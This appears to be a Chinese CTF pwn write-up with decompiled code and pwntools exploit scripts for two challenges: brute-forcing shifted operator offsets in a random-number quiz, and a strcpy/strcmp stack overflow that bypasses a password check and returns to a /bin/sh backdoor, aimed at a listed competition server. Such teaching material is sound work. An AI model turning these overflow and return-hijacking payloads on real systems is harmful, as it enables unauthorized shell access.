570 字
1 分钟
stackStruct
随机数爆破
除了实用调用libc的获取随机数的方法,还可以通过爆破方式获取随机数
例题 testnc_revenge
checksec ./pwn
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No打开 IDA 我们分析代码
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned int buf[18]; // [rsp+0h] [rbp-50h] BYREF int fd; // [rsp+48h] [rbp-8h] int n119; // [rsp+4Ch] [rbp-4h]
init(argc, argv, envp); fd = open("/dev/urandom", 0); read(fd, buf, 4u); puts("Can you finish this test?"); seed = buf[0]; srand(buf[0]); setNum(); for ( n119 = 0; n119 <= 119; ++n119 ) { if ( (unsigned int)cala((unsigned int)n119) ) { puts("You lose"); exit(-1); } puts("Good"); puts("Next task"); } puts("You got it!"); system("cat flag"); return 0;}
_BOOL8 __fastcall cala(__int64 n119){ unsigned int seed_2; // eax unsigned int seed_1; // eax unsigned int seed; // eax int v5; // [rsp+1Ch] [rbp-24h] BYREF int v6; // [rsp+20h] [rbp-20h] BYREF int v7; // [rsp+24h] [rbp-1Ch] BYREF int v8; // [rsp+2Ch] [rbp-14h] int v9; // [rsp+34h] [rbp-Ch] int v10; // [rsp+3Ch] [rbp-4h]
if ( (int)n119 > 39 ) { if ( (int)n119 > 79 ) { v10 = rand() % 6; if ( !flag3 ) { flag3 = 1; seed = rand(); srand(seed); offset = rand() % 6; } printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v10], Num2[(int)n119]); __isoc99_scanf("%d", &v5); return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v10], (unsigned int)Num2[(int)n119]) != v5; } else { v9 = rand() % 6; if ( !flag2 ) { flag2 = 1; seed_1 = rand(); srand(seed_1); offset = rand() % 6; } printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v9], Num2[(int)n119]); __isoc99_scanf("%d", &v6); return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v9], (unsigned int)Num2[(int)n119]) != v6; } } else { v8 = rand() % 6; if ( !flag1 ) { flag1 = 1; seed_2 = rand(); srand(seed_2); offset = rand() % 6; } printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v8], Num2[(int)n119]); __isoc99_scanf("%d", &v7); return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v8], (unsigned int)Num2[(int)n119]) != v7; }}__int64 __fastcall Trueval(unsigned int a1, char n120_1, int a3){ __int64 n120; // rax
n120 = (unsigned int)n120_1; if ( (_DWORD)n120 == 120 ) return a3 * a1; if ( (int)n120 <= 120 ) { if ( (_DWORD)n120 == 94 ) { return a3 ^ a1; } else if ( (int)n120 <= 94 ) { if ( (_DWORD)n120 == 45 ) { return a1 - a3; } else if ( (int)n120 <= 45 ) { if ( (_DWORD)n120 == 43 ) { return a1 + a3; } else if ( (int)n120 <= 43 ) { if ( (_DWORD)n120 == 37 ) { return (unsigned int)((int)a1 % a3); } else if ( (_DWORD)n120 == 38 ) { return a3 & a1; } } } } } return n120;}分析发现这是一个随机数答题的程序,其中的题目有三个阶段,而且在答题的时候,实际显示的运算符和程序内部的计算运算符不同,但是通过分析程序发现 这三个偏移量是在同一个时间生成并存储在buf 中
所以 只要确定了第一个阶段的偏移量,那么就可以确定第二阶段和第三阶段的偏移量,那么我们可以直接通过枚举的方式获得三个阶段的答题,从而获得shell
所以写出如下exp.py 脚本
from pwn import *from typing import Callablefrom dataclasses import dataclassimport time
# context.log_level = "debug"
"""枚举所有的 可能偏移,最坏的情况下 有 6^3 种情况"""
@dataclassclass StageProc: proc: process procoffset: int
sym_list = ['+', '-', 'x', '%', '^', '&', '+', '-', 'x', '%', '^', '&']
def calculate(a: int, op: str, b: int) -> int: if op == '+': return a + b elif op == '-': return a - b elif op == 'x': return a * b elif op == '%': return a % b if b != 0 else 0 elif op == '^': return a ^ b elif op == '&': return a & b else: return 0
def calcPart(p: process, offset: int) -> int: global sym_list
res = -1 # log.info(f"Get calcPart") # time.sleep(.5) parts = p.recv().decode().split() while not "=" in parts: # 防止因为io玄学问题导致接受不全 parts += p.recv().decode().split()
try: num1 = int(parts[-4]) disOp = parts[-3] op = sym_list[sym_list.index(disOp) + offset] num2 = int(parts[-2]) res = calculate(num1, op, num2) # log.info(f"Calc: {num1} {op} {num2} = {res}") except: log.error(f"calcPartsError: {parts}") log.error(f"Break!") return res
# 寻找获取# stage ==> 1, 2, 3def findOffset(pFunc: Callable[[], process], stage: int) -> StageProc: # p = pFunc() offset = 0
while True: p = pFunc() res = calcPart(p, offset) p.sendline(str(res).encode()) back = p.recvline()
if b"lose" in back: log.warn(f"findOffsetFail : {stage}") p.close() offset += 1 offset = 0 if offset > 6 else offset else: log.success(f"findOffset {stage} : offset => {offset}") return StageProc( proc = p, procoffset = offset ) # break
# 计算 该阶段接下来的题目def CalcPartsWithOffset(ps: StageProc, stage: int) -> process: for _ in range(39): res = calcPart(ps.proc, ps.procoffset) ps.proc.sendline(str(res)) back = ps.proc.recvline()
if b"lose" in back: log.error(f"Stage{stage} CalcFail Step:{_}") raise ValueError("Stage Calc Fail Error!") # 尝试捕获最后几个算式 if _ >= 37 and stage == 3: log.info(f"Proc: {_}: {back} ")
return ps.proc
def pCreate() -> process: return process("./pwn") # return remote("175.27.251.122", 33490)# 计算 阶段一def Stage1() -> process: try: temp = findOffset(pCreate, 1) return CalcPartsWithOffset(temp, 1) except: log.error("Restart: Stage1") return Stage1()
def Stage2() -> process: try: temp = findOffset(Stage1, 2) return CalcPartsWithOffset(temp, 2) except: log.error("Restart: Stage2") return Stage2()
def Stage3() -> process: try: temp = findOffset(Stage2, 3) return CalcPartsWithOffset(temp, 3) except: log.error("Restart: Stage3") return Stage3()
def tryStageRetry() -> process: for attempt in range(10): try: res = Stage3() log.success(f"Stage3 第{attempt+1}次尝试成功") return res except PwnlibException as e: log.warning(f"Stage1 第{attempt+1}次尝试失败: {e}") time.sleep(1)
p = tryStageRetry()print(p.recvall()) #显示答案总结
对于此类问题,可以去尝试分析程序,寻找程序的逻辑漏洞,比如固定的随机数种子等。。为爆破构建出条件
strcpy & strcmp
strcpy字符串赋值 -
char* strcpy(char* dest, const char* src)- 将
src指向的字符串(包括终止的字符串\0) 复制到dest所指向的缓冲区 - 缺陷: 完全信任 src,不做任何检查,容易产生溢出
strcmp字符串比较 -
int strcmp(const char* str1, const char* str2)- 比较字符串,如果两个字符串相同则返回0,如果不相同,则根据字典序返回正数或者负数
- 缺陷: 也是完全信任两个比较值,比较的只是
\0之前的字符,也就是说可以通过\0来进行截断
例题 str_ERROR
将程序提供的文件放入 ida
int __fastcall main(int argc, const char **argv, const char **envp){ char user_copy[41]; // [rsp+0h] [rbp-90h] BYREF char correct_password[7]; // [rsp+29h] [rbp-67h] BYREF char password[48]; // [rsp+30h] [rbp-60h] BYREF char username[48]; // [rsp+60h] [rbp-30h] BYREF
init(); strcpy(correct_password, "Secret"); puts("====secure system===="); puts("Please input your username: "); read(0, username, 0x30u); puts("Please input your password: "); read(0, password, 0x130u); strcpy(user_copy, username); if ( strcmp(password, correct_password) ) exit(-1); puts("success!"); return 0;}
void __cdecl shell() // Addr => 0x40125B{ system("/bin/sh"); puts("I believe you can get shell!");}发现这是一个登录界面的程序 其中 strcpy 有严重的溢出漏洞
通过查看栈空间分布发现
-0000000000000090-0000000000000090 char user_copy[41];-0000000000000067 char correct_password[7];-0000000000000060 char password[48];-0000000000000030 char username[48];+0000000000000000 _QWORD __saved_registers;+0000000000000008 _UNKNOWN *__return_address;+0000000000000010+0000000000000010 // end of stack variables可以通过 写入password 覆盖后边的结构,所以现在的问题就是如何绕过 strcmp 比较,于是我们可以通过 构建payload 使得比较的变量相同
于是写出如下exp
from pwn import *
context.log_level = "debug"
backdoorAddr = 0x40125bret = 0x40101a
# p = process("./pwn")# 175.27.251.122:33504p = remote("175.27.251.122", 33504)
# username:/p.recvuntil(b"Please input your username: \n")payload = b"a" * 41 + b"Secret"# payload = b"a"p.send(payload)
p.recvuntil(b"Please input your password: \n")payload = flat([ b"Secret\0", b"a" * (41), b"a" * 41 + b"Secret\0", p64(ret), p64(ret), p64(backdoorAddr)])p.send(payload)p.interactive()总结
在通过栈溢出漏洞劫持程序的时候,与需要兼顾园本的栈结构,这样不仅可以提高攻击的稳定性,也可以产生意想不到的效果
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐










